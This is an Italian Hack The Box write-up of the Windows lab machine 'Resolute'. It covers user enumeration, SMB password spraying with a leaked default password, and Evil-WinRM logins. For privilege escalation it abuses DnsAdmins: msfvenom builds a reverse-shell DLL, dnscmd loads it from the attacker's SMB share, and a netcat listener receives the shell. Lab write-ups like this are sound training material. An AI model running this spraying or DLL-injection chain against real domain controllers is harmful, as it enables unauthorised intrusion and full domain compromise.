

RESOLUTE | Kaosam

Il mio profilo -> <https://www.hackthebox.eu/home/users/profile/149676>

Questa volta ci troviamo di fronte una macchina Windows. Ecco il risultato del port scanning:

```
root@unknown:~/Desktop# nmap -sV 10.10.10.169
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-16 11:12 CET
Nmap scan report for 10.10.10.169
Host is up (0.15s latency).
Not shown: 989 closed ports
PORT      STATE SERVICE      VERSION
53/tcp    open  domain?
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-02-16 10:19:43Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: MEGABANK)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=2/16%Time=5E49159B%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.14 seconds
```

Non sembra esserci alcun servizio “strano” in esecuzione, quindi proviamo ad usare uno dei tool più famosi per le macchine Windows, chiamato enum4linux, con lo scopo di ottenere più informazioni sul sistema:

```
root@unknown:~/Desktop# enum4linux -U 10.10.10.169
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Feb 16 11:18:08 2020

=====
| Target Information |
=====
Target ..... 10.10.10.169
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

=====
| Enumerating Workgroup/Domain on 10.10.10.169 |
=====
```

Come si può vedere, siamo riusciti ad ottenere grazie all'opzione -U, la lista degli utenti:

```
=====
| Users on 10.10.10.169 |
=====
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866.
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail Name: (null) Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administerin
g the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela Name: (null) Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette Name: (null) Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika Name: (null) Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire Name: (null) Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claudie Name: (null) Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null) Desc: A user account managed by the sys
tem.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia Name: (null) Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null) Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the
computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo Name: (null) Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus Name: (null) Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to
Welcome123!
index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie Name: (null) Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki Name: (null) Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo Name: (null) Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per Name: (null) Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan Name: Ryan Bertrand Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally Name: (null) Desc: (null)
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon Name: (null) Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve Name: (null) Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie Name: (null) Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita Name: (null) Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf Name: (null) Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null) Desc: (null)
```

Abbiamo anche un informazione aggiuntiva. Nella linea dell'utente marko, la descrizione mostra una password: Welcome123!. Questa sarà dunque la password di marko?

```
enum4linux -u marko -p Welcome123! 10.10.10.169
```

Tentativo fallito. E' da provare dunque questa password con tutti gli altri utenti. Dall'nmap iniziale vediamo che è presente Ldap. Questo significa che più servizi utilizzano le stesse password. Possiamo provare ad autenticarci con uno dei servizi attivi, come ad esempio quello sulla porta 445 (protocollo SMB). Microsoft-ds è un servizio per il file sharing ed è uno dei più vulnerabili all'interno dei sistemi Windows.

Per lo scopo possiamo utilizzare all'interno di msfconsole, il modulo smb_login:

```
msf5 auxiliary(scanner/smb/smb_login)> set RHOSTS 10.10.10.169
RHOSTS => 10.10.10.169
msf5 auxiliary(scanner/smb/smb_login) > set SMBPASS Welcome123!
SMBPASS => Welcome123!
msf5 auxiliary(scanner/smb/smb_login) > set USER_FILE users.txt
USER_FILE => users.txt
msf5 auxiliary(scanner/smb/smb_login) > run
```

Con l'opzione USER_FILE va inserito un file di testo con la lista di tutti gli utenti trovati, in modo tale che il tool in questione provi ad autenticare ognuno degli username con la password trovata in precedenza.

```
[*] 10.10.10.169:445 - 10.10.10.169:445 - Starting SMB login bruteforce
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\Administrator:Welcome123!',
[!] 10.10.10.169:445 - No active DB -- Credential data will not be saved!
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\Guest:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\krbtgt:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\DefaultAccount:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\ryan:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\marko:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\sunita:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\abigail:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\marcus:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\sally:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\fred:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\angela:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\felicia:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\gustavo:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\ulf:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\stevie:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\claire:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\paulo:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\steve:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\annette:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\annika:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\per:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\clauda:Welcome123!',
[+] 10.10.10.169:445 - 10.10.10.169:445 - Success: '.\melanie:Welcome123!'
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\zach:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\simon:Welcome123!',
[-] 10.10.10.169:445 - 10.10.10.169:445 - Failed: '.\naoki:Welcome123!',
[*] 10.10.10.169:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Abbiamo ottenuto una risposta positiva. Welcome123! è la password dell'utente melanie.

Procediamo con l'ottenere la shell, utilizzando il famosissimo tool EvilWinrm (c'è da verificare se è aperta la porta 5985). Siamo entrati, ed abbiamo la user flag:

```
root@unknown:~/Desktop# evil-winrm -i 10.10.10.169 -u melanie -p Welcome123!

Evil-WinRM shell v2.1

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\melanie\Documents> dir
*Evil-WinRM* PS C:\Users\melanie\Documents> cd ..
*Evil-WinRM* PS C:\Users\melanie> cd Desktop
*Evil-WinRM* PS C:\Users\melanie\Desktop> dir

Directory: C:\Users\melanie\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar---            12/3/2019   7:33 AM             32 user.txt

*Evil-WinRM* PS C:\Users\melanie\Desktop> type user.txt
0c3be45fcfe249796ccbee8d3a978540
```

Andando avanti, alla radice del sistema con il comando “dir -force”, vengono mostrate le directory nascoste. Salta subito all’occhio la cartella PSTranscripts.

Proseguiamo al suo interno:

```
*Evil-WinRM* PS C:\PSTranscripts> cd 20191203
*Evil-WinRM* PS C:\PSTranscripts\20191203> dir -force

Directory: C:\PSTranscripts\20191203

Mode                LastWriteTime         Length Name
----                -
-arh--             12/3/2019   6:45 AM           3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt

*Evil-WinRM* PS C:\PSTranscripts\20191203> type PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
*****
Windows PowerShell transcript start
Start time: 20191203063201
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
*****
Command start time: 20191203063455
```

Stampando il file trovato all’interno esce fuori il backup della password di ryan!

```
+ FullyQualifiedErrorId : NativeCommandError
cmd : The syntax of this command is:
At line:1 char:1
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
+ ~~~~~
+ CategoryInfo          : NotSpecified: (The syntax of this command is::String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
*****
Windows PowerShell transcript start
Start time: 20191203063515
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
*****
```

Riconnettiamoci con evil-winrm, cambiando utente. Troviamo una nota sul desktop:

```
root@unknown:~/Desktop# evil-winrm -i 10.10.10.169 -u ryan -p Serv3r4Admin4cc123!
Evil-WinRM shell v2.1
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\ryan\Documents> dir
*Evil-WinRM* PS C:\Users\ryan\Documents> cd ..
*Evil-WinRM* PS C:\Users\ryan> cd Desktop
*Evil-WinRM* PS C:\Users\ryan\Desktop> dir

Directory: C:\Users\ryan\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar---            12/3/2019   7:34 AM           155 note.txt

*Evil-WinRM* PS C:\Users\ryan\Desktop> type note.txt
Email to team:

- due to change freeze, any system changes (apart from those to the administrator account) will be automatically revert
ed within 1 minute
```

E' un messaggio rivolto a ryan, membro di un team. Andiamo a vedere quali sono i gruppi a cui ryan appartiene:

```
*Evil-WinRM* PS C:\Users\ryan\Desktop> whoami /groups

GROUP INFORMATION
-----

Group Name                                     Type                SID                                     Attributes
-----
Everyone                                     Well-known group    S-1-1-0                               Mandatory gr
oup, Enabled by default, Enabled group
BUILTIN\Users                               Alias               S-1-5-32-545                          Mandatory gr
oup, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias               S-1-5-32-554                          Mandatory gr
oup, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias               S-1-5-32-580                          Mandatory gr
oup, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group    S-1-5-2                               Mandatory gr
oup, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group    S-1-5-11                              Mandatory gr
oup, Enabled by default, Enabled group
NT AUTHORITY\This Organization               Well-known group    S-1-5-15                              Mandatory gr
oup, Enabled by default, Enabled group
MEGABANK\Contractors                       Group               S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory gr
oup, Enabled by default, Enabled group
MEGABANK\DnsAdmins                         Alias               S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory gr
oup, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication            Well-known group    S-1-5-64-10                           Mandatory gr
oup, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level      Label               S-1-16-8192
```

Ryan all'interno di Megabank, fa parte dei Contractors e dei DnsAdmins. Grazie a Google, si trovano exploit proprio su quest'ultimo gruppo (<http://www.abhizer.com/windows-privilege-escalation-dnsadmin-to-domaincontroller/>).

Sul terminale della nostra macchina con msfvenom generiamo l'exploit, chiamandolo "a.dll":

```
root@unknown:~/usr/share/doc/python3-impacket/examples# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.84 LPOR
T=4444 --platform=windows -f dll > a.dll
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 5120 bytes
```


L'exploit verrà lanciato dalla macchina vittima verso il nostro indirizzo (LHOST) sulla porta 4444. Ci dobbiamo mettere dunque in ascolto con il comando nc -lvp 4444.

Su un altro terminale utilizziamo smbserver.py per generare una connessione smb, nel path dove si trova il nostro dll:

```
root@unknown:~/usr/share/doc/python3-impacket/examples# python3 smbserver.py SHARE /root/Desktop/
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

Infine, sulla macchina vittima, eseguiamo questi comandi:

```
*Evil-WinRM* PS C:\Users\ryan\Documents> dncmd.exe /config /serverlevelplugindll \\10.10.15.84\share\a.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe stop dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE                : 3  STOP_PENDING
                           (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE       : 0  (0x0)
        SERVICE_EXIT_CODE   : 0  (0x0)
        CHECKPOINT           : 0x0
        WAIT_HINT            : 0x0

*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe start dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE                : 2  START_PENDING
                           (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE       : 0  (0x0)
        SERVICE_EXIT_CODE   : 0  (0x0)
        CHECKPOINT           : 0x0
        WAIT_HINT            : 0x7d0
        PID                 : 2976
        FLAGS                 :
```

E sul nostro terminale in ascolto, abbiamo la shell!

```
root@unknown:~/Desktop# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.15.84] from (UNKNOWN) [10.10.10.169] 58085
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>dir
```

Recandoci nella cartella Users/Administrator/Desktop, troviamo la root flag:

```
C:\Users\Administrator\Desktop>type root.txt  
type root.txt  
e1d94876a506850d0c20edb5405e619c
```

Contattami su Twitter: <https://twitter.com/samuelpiatanesi>

Puoi trovare altri writeups sulla mia repo Github: <https://github.com/Kaosam/HTBWriteups>